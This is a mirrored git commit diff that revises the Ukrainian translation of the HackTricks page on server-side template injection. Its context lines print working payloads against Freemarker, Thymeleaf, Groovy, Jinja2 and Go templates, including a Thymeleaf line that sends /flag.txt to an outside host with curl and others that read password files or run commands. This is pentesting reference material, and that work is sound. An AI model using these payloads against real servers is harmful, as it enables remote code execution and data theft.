mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-22 12:43:23 +00:00
Translated ['pentesting-web/ssti-server-side-template-injection/README.m
This commit is contained in:
parent
7ff5c0e93a
commit
1b019724fa
1 changed files with 13 additions and 13 deletions
|
@ -43,7 +43,7 @@ http://vulnerable-website.com/?name={{bad-stuff-here}}
|
|||
|
||||
Для виявлення ін'єкції шаблонів на стороні сервера (SSTI) спочатку **фуззинг шаблону** є простим підходом. Це передбачає впровадження послідовності спеціальних символів (**`${{<%[%'"}}%\`**) у шаблон і аналізування відмінностей у відповіді сервера на звичайні дані в порівнянні з цим спеціальним пейлоадом. Ознаки вразливості включають:
|
||||
|
||||
* Викинуті помилки, які виявляють вразливість і потенційно движок шаблонів.
|
||||
* Викинуті помилки, що виявляють вразливість і потенційно движок шаблонів.
|
||||
* Відсутність пейлоаду у відображенні або частини його відсутні, що вказує на те, що сервер обробляє його інакше, ніж звичайні дані.
|
||||
* **Текстовий контекст**: Відрізняти від XSS, перевіряючи, чи сервер оцінює вирази шаблону (наприклад, `{{7*7}}`, `${7*7}`).
|
||||
* **Контекст коду**: Підтвердити вразливість, змінюючи вхідні параметри. Наприклад, зміна `greeting` у `http://vulnerable-website.com/?greeting=data.username` для перевірки, чи є вихід сервера динамічним або фіксованим, як у `greeting=data.username}}hello`, що повертає ім'я користувача.
|
||||
|
@ -123,7 +123,7 @@ ${"freemarker.template.utility.Execute"?new()("id")}
|
|||
|
||||
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}
|
||||
```
|
||||
**Freemarker - обхід пісочниці**
|
||||
**Freemarker - Обхід пісочниці**
|
||||
|
||||
⚠️ працює лише на версіях Freemarker нижче 2.3.30
|
||||
```java
|
||||
|
@ -196,7 +196,7 @@ Thymeleaf також пропонує _попередню обробку вир
|
|||
<a th:href="@{__${path}__}" th:title="${title}">
|
||||
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>
|
||||
```
|
||||
Це вказує на те, що якщо движок шаблонів неправильно обробляє ці введення, це може призвести до віддаленого виконання коду, що отримує доступ до URL-адрес, таких як:
|
||||
Це вказує на те, що якщо движок шаблонів неправильно обробляє ці введення, це може призвести до віддаленого виконання коду з доступом до URL-адрес, таких як:
|
||||
```
|
||||
http://localhost:8082/(7*7)
|
||||
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})
|
||||
|
@ -326,7 +326,7 @@ Jinjava - це проект з відкритим кодом, розроблен
|
|||
* `{{'a'.toUpperCase()}}` - "A"
|
||||
* `{{'a'.concat('b')}}` - "ab"
|
||||
* `{{'a'.getClass()}}` - java.lang.String
|
||||
* `{{request.getClass()}}` - клас com.hubspot.content.hubl.context.TemplateContextRequest
|
||||
* `{{request.getClass()}}` - class com.hubspot.content.hubl.context.TemplateContextRequest
|
||||
* `{{request.getClass().getDeclaredMethods()[0]}}` - public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()
|
||||
|
||||
Шукайте "com.hubspot.content.hubl.context.TemplateContextRequest" і знайдіть [проект Jinjava на Github](https://github.com/HubSpot/jinjava/).
|
||||
|
@ -382,11 +382,11 @@ Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstanc
|
|||
* `${{7*7}}` - 49
|
||||
* `${{request}}, ${{session}}, {{faceContext}}`
|
||||
|
||||
Мова виразів (EL) є основною функцією, яка полегшує взаємодію між презентаційним шаром (як веб-сторінки) та логікою програми (як керовані бінари) в JavaEE. Вона широко використовується в різних технологіях JavaEE для спрощення цієї комунікації. Основні технології JavaEE, що використовують EL, включають:
|
||||
Мова виразів (EL) є основною функцією, яка полегшує взаємодію між презентаційним шаром (як веб-сторінки) та логікою програми (як керовані боби) в JavaEE. Вона широко використовується в багатьох технологіях JavaEE для спрощення цієї комунікації. Основні технології JavaEE, що використовують EL, включають:
|
||||
|
||||
* **JavaServer Faces (JSF)**: Використовує EL для прив'язки компонентів на сторінках JSF до відповідних даних та дій на сервері.
|
||||
* **JavaServer Pages (JSP)**: EL використовується в JSP для доступу та маніпуляції даними на сторінках JSP, що полегшує зв'язок елементів сторінки з даними програми.
|
||||
* **Контексти та впровадження залежностей для Java EE (CDI)**: EL інтегрується з CDI для забезпечення безперебійної взаємодії між веб-шаром та керованими бінарами, що забезпечує більш узгоджену структуру програми.
|
||||
* **JavaServer Pages (JSP)**: EL використовується в JSP для доступу та маніпуляції даними в JSP-сторінках, що полегшує зв'язок елементів сторінки з даними програми.
|
||||
* **Контексти та впровадження залежностей для Java EE (CDI)**: EL інтегрується з CDI для забезпечення безперебійної взаємодії між веб-шаром та керованими бобами, що забезпечує більш узгоджену структуру програми.
|
||||
|
||||
Перегляньте наступну сторінку, щоб дізнатися більше про **експлуатацію EL інтерпретаторів**:
|
||||
|
||||
|
@ -396,7 +396,7 @@ Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstanc
|
|||
|
||||
### Groovy (Java)
|
||||
|
||||
Наступні обходи Security Manager були взяті з цього [**опису**](https://security.humanativaspa.it/groovy-template-engine-exploitation-notes-from-a-real-case-scenario/).
|
||||
Наступні обходи менеджера безпеки були взяті з цього [**опису**](https://security.humanativaspa.it/groovy-template-engine-exploitation-notes-from-a-real-case-scenario/).
|
||||
```java
|
||||
//Basic Payload
|
||||
import groovy.*;
|
||||
|
@ -778,9 +778,9 @@ home = pugjs.render(injected_page)
|
|||
|
||||
> Jinja2 - це повнофункціональний шаблонний движок для Python. Він має повну підтримку юнікоду, необов'язкове інтегроване середовище виконання в пісочниці, широко використовується та ліцензований за BSD.
|
||||
|
||||
* `{{7*7}} = Помилка`
|
||||
* `{{7*7}} = Error`
|
||||
* `${7*7} = ${7*7}`
|
||||
* `{{foobar}} Нічого`
|
||||
* `{{foobar}} Nothing`
|
||||
* `{{4*4}}[[5*5]]`
|
||||
* `{{7*'7'}} = 7777777`
|
||||
* `{{config}}`
|
||||
|
@ -892,7 +892,7 @@ ${x}
|
|||
```
|
||||
### SSTI в GO
|
||||
|
||||
У шаблонному движку Go підтвердження його використання можна здійснити за допомогою специфічних пейлоадів:
|
||||
У шаблонному двигуні Go підтвердження його використання можна здійснити за допомогою специфічних пейлоадів:
|
||||
|
||||
* `{{ . }}`: Відкриває структуру даних. Наприклад, якщо передано об'єкт з атрибутом `Password`, `{{ .Password }}` може його розкрити.
|
||||
* `{{printf "%s" "ssti" }}`: Очікується, що відобразить рядок "ssti".
|
||||
|
@ -900,7 +900,7 @@ ${x}
|
|||
|
||||
**Експлуатація XSS**
|
||||
|
||||
З пакетом `text/template` XSS може бути простим шляхом безпосереднього вставлення пейлоаду. На відміну від цього, пакет `html/template` кодує відповідь, щоб запобігти цьому (наприклад, `{{"<script>alert(1)</script>"}}` призводить до `<script>alert(1)</script>`). Проте визначення та виклик шаблону в Go можуть обійти це кодування: \{{define "T1"\}}alert(1)\{{end\}} \{{template "T1"\}}
|
||||
З пакетом `text/template` XSS може бути простим шляхом вставки пейлоаду безпосередньо. На відміну від цього, пакет `html/template` кодує відповідь, щоб запобігти цьому (наприклад, `{{"<script>alert(1)</script>"}}` призводить до `<script>alert(1)</script>`). Проте визначення та виклик шаблону в Go можуть обійти це кодування: \{{define "T1"\}}alert(1)\{{end\}} \{{template "T1"\}}
|
||||
|
||||
**Експлуатація RCE**
|
||||
|
||||
|
@ -915,7 +915,7 @@ return string(out)
|
|||
```
|
||||
**Більше інформації**
|
||||
|
||||
* [https://blog.takemyhand.xyz/2020/05/ssti-breaking-gos-template-engine-to.html](https://blog.takemyhand.xyz/2020/05/ssti-breaking-gos-template-engine-to.html)
|
||||
* [https://blog.takemyhand.xyz/2020/06/ssti-breaking-gos-template-engine-to](https://blog.takemyhand.xyz/2020/06/ssti-breaking-gos-template-engine-to)
|
||||
* [https://www.onsecurity.io/blog/go-ssti-method-research/](https://www.onsecurity.io/blog/go-ssti-method-research/)
|
||||
|
||||
### Більше експлойтів
|
||||
|
|
Loading…
Reference in a new issue